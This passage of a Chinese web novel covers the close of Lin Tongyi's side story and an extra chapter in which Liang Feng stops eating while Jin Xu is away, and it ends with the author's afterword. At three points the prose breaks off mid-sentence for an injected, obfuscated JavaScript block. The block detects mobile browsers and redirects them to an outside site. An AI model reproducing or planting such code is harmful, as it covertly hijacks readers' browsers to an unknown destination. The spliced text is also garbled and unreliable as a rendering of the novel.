他用了一个晚上和公主府的人干耗,最终以头撞墙,鲜血淋漓地使公主府放过他。 他摆脱了公主的爪牙与纠缠,同时也失去了这一份安稳的差事。 没想到以这样一种方式结束。一旦放下这份差事,除了记忆,他仿佛一辈子不曾与她发生过缘分。时日长了会忘记她吗? 往后要去做什么。 想了整整一个月,他找不到出路,只能暂时留在京城。 开了第二间铺子,还是卖衣裳布匹,他想在京城留到被逼走的那天。 没有盼头和目标的日子过起来舒心惬意,得过且过,天地之间忽然变得包容。 他浸身在这包容之中,安然做一个旁观者,随时迎接被京城驱赶的时刻。 新铺子不接单子,每日卖出一两件衣裳足够抵去铺租和饭钱。他没了时辰观念,暗暗亮亮一睁一闭就是一天。 听来铺子挑看衣裳的人们议论,官府又有新的命令,部分税目被取消了,百姓的压力轻了一点。 林童忆听说后,联系上之前在光禄勋认识的友人,询问发生了什么。 说是朝中的新丞相对税目名录重新制定规划,具体怎么样也不清楚,只大概知道有的大人同意,有的大人不同意。 朝堂核心的人每天在干什么当然不是一般人能打听到的。哪怕打听清楚了也毫无用处。只是没想到过了几天,他再次偶遇冯棹台。 金印紫绶,是丞相的标志。冯棹台是新丞相。 他是避让路旁的寻常百姓,新丞相端坐于高轿之上,轻纱遮盖下以模糊的面容俯视众生。这是新丞相首次出现在百姓面前。 人们对新丞相议论纷纷,年仅二十九岁,冯棹台以一岁之差代替某金姓前人成为本朝历史上最年轻的丞相,叹为观止。 山海池泽收缩税收范围,百姓不用再为城墙与城内景观的假山死水交税。往来相顾之中,人们也多了点发自内心的喜悦。 对冯棹台的观察是仅剩的与她的联系。他没想到冯棹台的举动会造成这么大的影响,引起百姓无数议论。 他好像明白她为什么说要多留意冯棹台这个人了。再也见不到她之后,居然还有多了解她一点的机会。 留在京城的做法是正确的。 他与从前光禄勋的旧友尽力维持联系,这次打听到许多新内容。 游照同自请革职是因为年初一笔赈灾款项的事情,而之后的御史大夫谢傅年纪太大,冯棹台直接连升两级。 宫里的人都在传,连升两级是因为冯棹台有游照同举荐。皇帝对冯大人很信任。 升任之后大刀阔斧地改革税法,高位被更有精力的人取代,最近几日朝堂死气沉沉,怨念颇重。 林童忆很有些感慨,她难道希望他有一天接触大官,能站于冯棹台的庇护之下?她为何能预见冯棹台的将来? 可他已经接触不到朝堂大员了,顶多守在宫门外,远远望一眼上早朝的官员们。 除了偶尔听到一条来自百姓间的议论,他逐渐歇了心思,不再巴望,接着过活一天看一天的日子。 直到隔年,金延守的名字突然光明正大地出现在市井坊间。 当年清算金延守的案子被人重新翻了出来,不知进行了怎样一通调查,金延守的罪名被重新判定。 各个茶楼说书人都在讲这个事,每个人嘴里的说法不尽相同。 林童忆想到那天她说起她父亲的神情。金延守身上最黑的污点得到清白,不知过程是怎样,这事恐怕传不开。她虽然不在京城,但至少有他代替她见证了这件事。 他在一日凌晨,天未亮时前往宫门外,隔远看见上朝的官员当中就有冯棹台。 林童忆远远地朝冯棹台深鞠一躬。 冯棹台并没有看见他,也没有看向其他同行的官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839967|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员,直视前方的目光像一柄利刃,坚定不移,带着血性,仿佛能割开这个世间的鲜血与忠诚,在裂缝中点燃一支火把。 注视冯大人消失在宫门后,这便算代她谢过了。不知冯棹台在当中如何走动操作,十几年前的案子能够重见天日。 朝堂又是一番动荡,甚至波及到了民间。街巷的大小官员们人人自危,事务处理极慢,严重影响民生。 他的铺子进货被断了,一连几日没有收入。不久前取消的税目重新开始征收。部分百姓积压不满,联名到官府告状,没有后文。 这是冯棹台为金延守翻案的后果吗?他不知道。他只知道即将被京城驱赶的日子就要到了。 来年开春,朝堂开始预征次年的三成赋税。 赋税与日俱增。铺子的生意越来越差,林童忆关了铺面,找到一家钱庄做账房跑堂,继续煎熬。 官府告示满天飞舞,张张都在说军民一心。 他问军在哪里。钱庄掌柜的说不知道。 夏末,南方叛民暴起的消息传到京城。百姓们奔走相告,纷纷预测南方的动向。林童忆忽然在各种各样的猜测中听见一句安分王,有人说被革除王位的安分王就在南方,这是复仇来了。 久不听闻的三个字进入耳中,并未掀起多少波动。他同这些百姓一样,无暇关心安分王身在何处,只想知道这个京城还能不能待下去。 惶恐不安的猜测只持续了半个月,南方的消息便被朝廷强行压下。城中百姓被困在了一座闭塞的牢笼之中。 秋季,朝堂开始预征次年剩余的七成赋税。 春节未过,钱庄倒闭,林童忆在百姓越发强烈的怨声载道中无处可去。 冬过,朝堂开始征收再次年的全额赋税。百姓给不起,许多人出城去往南方。林童忆也在其中。 离京前,他最后一次见到冯棹台。 冯相打马穿街而过,眼中曾经锐利的锋芒被一层迷雾笼罩,仿佛那双眼睛所注视的前方不知何时变得模糊不清。 他匆匆一眼,并没有看清楚,冯棹台已经消失在街道尽头。 岌岌可危的大周朝支撑不起这样一支火把,火焰掉落地上迟早熄灭。林童忆有预感,冯棹台不仅是本朝最年轻的丞相,也会是王朝末年最后一位丞相。 他此刻只想去到一个永远不会有战乱发生的地方。 出了京城,南方的消息扑面而来。叛民四起,不只在南方,还有西方和西南方。京城几乎被包围了。 北方的苦寒之地还能找到清净的地方,他决定往北方去。 前行路上,他救了一名卖身葬父的姑娘。姑娘也是个俗人,看容貌判断人的好坏,愿意跟着他。 俗人好,他欣赏俗人。 找到北方一座寒冷孤僻的县城,不靠边境,没有外族侵扰,还因距离中原过于山高路远,税收钱粮难运,本城自产自销,赋税只要两成。 他仗着被京城历练过的脑子,找了个当地府衙负责撰写和整理文书的差事。不缺小钱,也赚不了大钱。 攒点钱后,他打算再开第三间铺子。此时回过头看,最大的庆幸是当年做了读书识字这个决定。 安稳一年,他与孤女成了亲。两年后,和她育有一女。 她好学习,也肯上进,跟着他识了字,懂得打理账簿。开了铺子交给她,他放心。 大周朝堂有关的人和消息他再也听说不到。只听府衙中人偶尔提起,最初的叛军首领一统西南两方,麾下人马及其壮大,坚不可摧,已经打到京城了。 林童忆听听便罢,他只等改朝换代,新皇帝如何推行新令,新令将会如何波及到他这座小小县城。 都不要紧,他只想过点安稳日子。 233. 金风的日常 “你就不能带着我一起去吗?” 梁风坐在房中,看着窗边剪烛光的她。 她最近很忙,忙得没有闲时陪伴他。梁风受不住这种日子。 山里那片狭小的地界,她想往外跑也跑不出他方圆几十步外,但是现在到了县城,她就可以撒欢了无所顾忌地往外跑了,一点也不惦记他。 “我难不成是你的拖累吗?”他充满怨念。 一边怨怨,梁风在床畔乖乖坐着,一边摆出任她处决的模样。 金絮剪完烛芯回头看他,放下了剪刀。 希望带上他一起出门的事情他提过好几次了。她也知道自从来到县城,这几月陪伴他的时日的确少了很多,但他无论如何也到不了拖累的程度。她在外的时候经常写信给他,也会寄回家一些小东西。起初他是容易满足的,后面确实是离开的时日太久,他难以习惯,也想陪同她出外走商。 她目前不想破坏他的习惯,可是问过李婶,李婶仍是不建议他连日东奔西走。野外官道风沙大,对他的肺不好,身子也吃不消,路上能做的简陋吃食更不适合他。 金絮走上前,环肩抱住他,抱抱他的后脑勺,“你当然不是拖累。” “你分明知道我很黏你。”梁风搂住她的腰。 “这次只有七天左右。” “只有七天,那你把我带上又怎么了。” “野外官路不好走,你的身子需要好好养着。”她亲亲他的脸颊,“听话一点,回来我就陪你。” “我只是想让你带上我,我就是不听话了。” 她歉歉柔声道:“我说错了,你不是不听话,你是不想和我分开。” 梁风心里的委屈被她容得骄起来,“你既然知道,那你就把我带上。” 金絮揉着他的脑袋想了想,极有耐心,“你之前在山里偶尔爬树,回来的当天晚上都会咳嗽。爬上爬下都会累到你,更别说去野外跑七天了。” “咳嗽而已,不是什么大问题。而且那是在山里面,草木花粉多我才会咳嗽的。” “野外也是在山里。” “我们出去坐马车,车里又没有风沙,又不用爬上爬下,我们还可以早点出发,慢点赶路,根本不会累到身体。” “早点出发,在外时日长了我更加不放心。咳嗽不是小事情,小病小痛是很大的事情。你之前经常莫名其妙地担心我,现在我也会担心你,而且我不是莫名其妙。” “你说话在怪我。”梁风很敏锐。 金絮暂时住了嘴,更紧凑地抱他,顺着头发轻抚后脑勺,安稳他的情绪,想着应该怎么说。梁风不吭声地往她怀里蹭,还是在和她撒娇。 她道:“我真的不放心。带着李婶的话,李婶年纪大了,路上颠簸也伤身体。李婶替我在家监督你每日喝药。” “不带李婶,你自己来监督我每日喝药。我不能和你分开,和你分开了我身上更加难受。”他要撒泼了,“病就彻底好不了了。” 金絮暗叹一声,真的苦恼起来。 “那怎么办呢?” 问得他沉下去。听出她心里的纠结,通过和她相连的心脏一跳一跳地传到他这里,动起来也是疼得要死。 梁风想要阿絮陪他,但是不想让她真的苦恼,他希望她心里松快点。 “你这次当真只去七天吗?” “嗯。”她轻声道:“算上出发的一天和回来的一天,总共七天。” “那就是五天见不到你。” 光是想一想就觉得身体发抖,更多的话都说不出来。 “这笔单子结束后我会想办法,我保证我在的时候一刻钟也不离开你。” 承诺很少出现。得到她的保证,梁风也只能松口。如果强行跟着她去,除了令她徒添烦扰外没有好处。 夜深了。这一夜睡得晚。 天刚亮时,金絮掀被起身,饶是轻手轻脚也惊到枕边人。梁风迷迷糊糊,眼睛都没睁开,手脚就爬了起来。 金絮回头抱着他再次躺下,灯都不点。脑子没清醒过来,梁风以为她这是不走了,回笼觉睡得很安心。 等到彻底醒来已经看不见她了。 这么算,是有六天见不到她。六天半。 梁风躺床上起不来,棉被外面变冷了。他爬到她躺的位置,睡着她的枕头。 六天么,睡一觉也就过去了,脑子在这六天里不要动就好了。他可以先死六天,六天之后再活过来。 骨头里像是有羽毛杆在戳,戳得他浑身不痛快。梁风在床上翻来覆去,不舒服得很。脖子和关节变得很僵硬,难以动弹,可身上不舒服得只想让他动来动去缓解。 他数呼吸、数眨眼,计算这六天多的时日里有多少个呼吸见不到她,多少个眨眼见不到她。 他又一动不动,盯着天花板,什么也听不到。骨头的戳感变成了钝感,细小的棍子往身上击打。他变得很脆,像一截莲藕,轻易击碎了。 随着被一下击碎,他睡着了。击打变成了啮咬,像是虫子在爬,他感到切实的疼痛,他被疼醒。 眼中所见清晰了,老李在他面前拍他的肩膀,提醒他吃饭。 他没有胃口,什么也不想吃。他更想喝驱虫药,把身上的虫子驱赶出去,别再往他身上爬了。 他挥开嗡嗡嗡的一切,抱着她的枕头,蒙在被子里睡觉,心里很烦躁。 没有睡着。隐约睡着。他忽然想到绝食。如果他绝食了,会不会让她早点回来。老李看他不吃饭,总会叫人去通知她。 他睁眼,眼前一片漆黑。他感到很饿,但还是不想吃任何东西。 力气逐渐流走,他空想,想她有暗卫们陪着,暗卫帮她忙里忙外地做事,至少不会累着她。文书走动类的活计也不会累着暗卫。只有他,躺在床上却感觉累了一天。 他努力睡觉,睡着了既不感觉饿,也不感觉煎熬,这日子才能过。 睡好醒来,天亮了。饥饿愈发加重,脑子却很清醒。他思考一下想吃什么,还是什么都不想吃。 他接着睡觉。有人试图撬他的嘴,梁风一撇头,躲进被子里。 这一翻身耗尽剩余力气。太饿了,他不想动弹,不想说话,只想睡觉,感受不到时辰的流逝。 寂静的屋外,宵禁已过,月未上中天。屋顶脚步踏过,有人落在大门外。 门开了,金絮收到消息赶回来。 宵禁后无法进城,她的东西都在城外停着,她自己由暗卫带飞着偷偷进来。 桌上始终备着温奶,李晟也没怎么睡,看见她回来便将奶盏一推,忙道:“您走后就没用过饭了。” 金絮点头接过奶盏,走进内间。里面一片漆黑,她回身拿了灯再进去,然后将门关了,照亮床头。 梁风穿的还是她走时的那身里衣,身上已经浮肿,浅浅睡着。金絮放下灯碗,摸摸他的头脸,让他躺正,给他的枕头垫高一点,轻声道:“喝点奶吧。” 他的眼睛轻轻颤动,烛火也动。金絮摸着他的嘴角,喂了一勺羊奶。 加了糖的甜羊奶慢慢滑下去,梁风睁开眼。金絮与他对视,沉默无言的视线在此刻多了羊奶的味道。 她当真在第二天晚上就回来了。 他的眼神没有力度,只会动嘴巴。金絮一勺一勺将一小碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839968|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羊奶喂他喝完了。 过一个时辰再喝点粥,金絮暂时不让他睡觉。梁风迷迷糊糊,精神有点恍惚,好像更饿了,但是脑海中的烦躁被压下去,身体感受更清晰了。 金絮一言不发,沉默地抚摸他的脸颊和眉眼,目光沉沉,眼中一点光也不映出来。 梁风挣扎出被窝,没力气抬起手来拉她,只能拽她的衣裳,气声道:“你生气了。” 金絮握住他的手,“没有。是我草率了。” “你生气了。” “没有。”她俯身亲亲他,“我没有生气。” 梁风顿时只想着她还愿意亲他,“你不生气......” “不生气。” 一个时辰到了,金絮喂他喝小碗稀粥,纯粥水,没有肉粒,只有面上一层薄米油。 香喷喷下肚,他想再多吃点,面饼、牛羊鸭肉、猪肘、糕点、饺子、瓜果,随便什么,全都想吃,狂塞。 金絮一个眼神便能制止他。 梁风老实乖巧地任由金絮小口小口地喂。之后直到天亮,他才喝到第三碗加了一丁点肉粒的稀粥。 逐渐恢复力气,第三碗粥下肚,梁风能撑身坐起来。为了盯着他,金絮没睡。 “你真的没有生气?”他摸她的手,看她的脸色。 “没有。”她想着李婶睡了,等李婶醒来再给他把个脉。 “你生气了,你和我说的话变少了。” 梁风心底不安,小心翼翼看着她。 “你的生意怎么办?我耽误你的生意了。” “不妨事。”金絮双手都握住他。 他的手有些发冷,被她握着很暖。 “你不在,我没胃口吃东西。”他解释道,低下头不看她,“但我在第一天晚上的时候,也想过绝食是不是能让你早点回来。” “能。”金絮认真道:“这一次能,下一次就不行了。” 梁风心慌,身体里没什么水份,眼睛很干燥,特别痒。 知道他要哭,但是哭不出来。金絮仔细看他的脸,东西吃进去没那么一脸菜色了,脸部浮肿未消,等消下去肯定瘦了。 她脸上神情难辨,收了手,沉默注视他。 梁风想回视又不敢看,拽着她衣裳,只道:“我们不能和离。” “这一次不和离。”她道:“幸好我回来得及时,再晚一天就出事了。” 梁风抿嘴低头不语,牙齿渐渐咬紧,感到后悔。 “太伤胃了。”看着他慢慢变白的脸色,金絮缓缓道:“‘和离’这两个字我会反驳你。我是生气,但不完全是对你的。是我草率了,我明明知道你还没有安心。” 梁风是真的要哭了,只是眼睛里没有水分。 “你知道我不安心。” “我知道。” “我不能离开你。” “我知道。”金絮倾身环抱他,“下次出去我就带着你。再攒点钱,我们就在城里开个铺子,不走商了,一直陪着你。” “真的吗?”一直陪着他。 “真的,一直陪着你。” “开铺子。”梁风小小声,“这样会耽误你做生意,开铺子没有走商赚得多。” 梁风不想因为他妨碍她的规划。 “不会,你重要过一切。” 有些问题现阶段暂时无法解决,那就先这样吧,弥补缺失需要她花费更多的心力。 梁风心里放松下来,浮起一点笑意,贴着她的肩膀,“等李婶说我养好了,我就陪你一起走商,不用一直开铺子,你想去哪里我们就一起去哪里。” “好啊。”她笑道。 234. 碎碎念念 正文和所有番外加起来总共九十八万六千五百字,真的太长了。 没想到啊,要我现在看篇九十多万字的文我都得犹豫一下,写居然能写这么多。 这篇完结感言的初稿写自2022年1月11日晚。当时以为正文写完了,剩下的是梁风和林童忆的番外,结果梁风这部分番外写了六十五万字。后面写得太长,把他那部分算做正文的下篇了。 20年中才第一次下载晋江开始看文,看了几个月,在21年初还没放寒假的时候突发奇想写篇文练笔吧,也不用太长,十几万字就好。这个念头一产生,脑海里就出现一个画面,是个不认识的女生在一间不大的屋子里因某种宏大的希望破灭而郁结攻心吐血了。顺着这个画面往下想,就出现了她躺在床上发高烧却一滴汗也没出,然后知道她是死了。很难说是先有写篇练笔的念头出现还是先有这个画面出现,记不清了。 反正是个没头没尾的画面,有一种很模糊的情绪,我就开始写了。 她因为什么而死,因为什么而希望破灭,完全不知道,顶多知道可能是出于某种固执?也没想过要先去构思,唯一明白的是没有大纲那就全文存稿再发表,毕竟也就十五、六万字的打算。结果写完青楼那部分就七万字了。 最开始的八万字是手写的,写了二十二章左右,一直写到金絮在太南遇见戴面具的梁风,两人准备出去旅游为止。写了两个笔记本,手稿到现在我还留着。当时真不知道咋想的,总觉得电脑打字没有手写来得有感觉。这样很麻烦,写完还得再打字转成电子版的。现在回想其实也挺好,代表和见证了我的写作生涯是从笔端开始的。 纵观全文,改动最大的地方就是前三章,尤其是前两章。当时写了几章才慢慢有了全文大致的情节发展方向和金风两人的人生经历,很粗的骨架那种,前三章就全部推翻重写了。废稿我都留着,初版前三章的金絮和现在的金絮可以说是两个人。 我记得青楼那部分的某一章提到过一个男倌馆,叫肆阳院。初版前三章里这个肆阳院的老鸨是林童忆,金絮的同行。应该是想写青楼,所以男男女女都想写到,但怎么写完全没想。后面是发现不好处理肆阳院里面的男倌,懒得把戏份分过去,索性改了,改了之后的布行戏份的确很少。 梁风和林童忆换过名字,写了几万字之后林童忆才有了大致的人生经历,感觉“童忆”这个名字更适合他,就把他和梁风换了(这个能说吗,好像不能说吧,会出戏的......)。 男主写之前只有个大概设定,我当时是在哪里看到说,小说前三章一定要出现男主,因为这是言情小说。于是当时哪怕第三章已经五千多字了我也要把梁风写到出场再结束那一章。最开始就只打算写个言情小说里最典型常见的男主,沉默寡言、高高在上的那种。当时写的时候没感觉,现在看前面几章梁风和金絮的互动,非常尬,很硬,写到十几章才摸到一点梁风性格的大致骨架,把前三章的梁风重写了。 为什么写青楼,原因已经不记得了。可能是当时看了某本书的某个片段,就想写了?写完了之后还没过瘾,感觉青楼这个环境还有很多事情可以写,也没有尝试从鸨母的视角把整个青楼行业的生态展现出来,以后试试看。 最后存完稿总共三十万字,一边发表一边写番外,预估梁风番外也就五万字左右,结果发现他那部分太难写了。二姬篇写完就有了定所篇的基本框架,但没意识到写的时候需要落实到每一个具体的情节,写得真的太卡了。 最卡的时候坐都坐不住,出去围着图书馆绕圈,回来还是写不出来。最难的是四十多万字到五十多万字的那十万字,开始是想怎样能把这个情节写出来,后面是想目前这个全文进展很难写到底是难在哪里,非得写完回头才能发现,可能是写到了故事高潮的地方,而我没意识到,等我意识到了这个高潮也就过去了。直到去年九月份开始才写顺了很多。 整个过程还是挺神奇的,前面不经脑子写出来的东西,到后面基本也圆上了。虽然前后有些出入,也不算啥大问题。除了考据方面,大概主要在情节切入、细微的时间线和角色行为方面存在前后文不同,改的话得大修,没精力大修了。前面哪里说过,保持处女作最素颜的样子。 问题之一是主线不很清晰。但还是有的,就是金絮对京城的三进三出。问题二是这篇文态度有点消极的,主角两个基本没什么主动去做的事情,大多都是被动遇到。问题三是配角写得都不行。 配角上要说的是丽姬和雪姬。她们两人是金絮内心的投影,雪姬象征着金絮想复仇的那一面,丽姬则是另一面。文中的主要提示有两个:一个是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839969|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代词“她”。二姬篇的三十万字中的代词“她”指的全都是金絮,没有代指过其他人,唯独在金絮和二姬独处的时候,我有刻意混淆“她”的指向;第二是服色。正文写过二姬常穿的服色,然后用梁风的视角简单写过金絮穿的服色,哪个颜色就代表那时是哪个姬在她心里占据主导地位。比较隐晦,不提醒的话的确不容易看出来。这也是七十三章丽姬突然在屋顶上出现的原因,因为金絮想让她出现。 回头看整篇文,纯粹的工具人属性的配角应该是出现在第七、八、九这三章的小姑娘:小玲、小月和阿香。用来介绍温柔馆的设定外就没别的用了,其他配角多少推动剧情或怎样,只有她们仨是纯粹的工具人。本来想着后面能不能写回来,结果没能写回来。 再就是,优点也能评一评。最大的优点是有着雷打不动的立意。文名文案改了那么多次,多得我都没记数,唯独立意在这两年多里没动过。还有视角。我感觉我视角把控还挺好的。基本都是限制视角,除了没写好的八十一章,还有写得明显的二百三十三章外,个别章节偶尔换了上帝视角估计都不容易看出来。也是慢慢看文多了,发现在视角转换上控制不好容易出戏。 还有一些巧合。像是崔家父子,崔固卸下兵权的行为给梁风做了一个很好参照。这真是无意促成的巧合。 最后记录一下数据,总字数:986553,总点击:40169,评论:45,收藏:26,首章点击:831,章均点击:172。申签次数总共是19次,没能整数。前两年每年8次,今年3次。相对于开文至今时长来讲,这个申签次数太少了。实在是懒得申了,也签不了。 从长远来看,踏上一条路的刚开始受点挫折反而是好事。既然选择了这条路,就不能轻视这条路,单机也能磨炼心性。这三年多我也从写作本身收获到了很多。往好处看,真的不能比这更差了,难道还能比这更差吗?这已经是谷底了,往后都是上坡路。 加上傻妻的一万字,我怎么说也是有一百万字打底的人了,也多少体会到什么叫做为一句话铺垫十万字的感受。下一篇文尝试一下多视角叙事和塑造世界观,希望能把杀娇的世界观写好。 最后的最后,追更的人辛苦了。 撒花撒花~~~ ——2024.6.18晚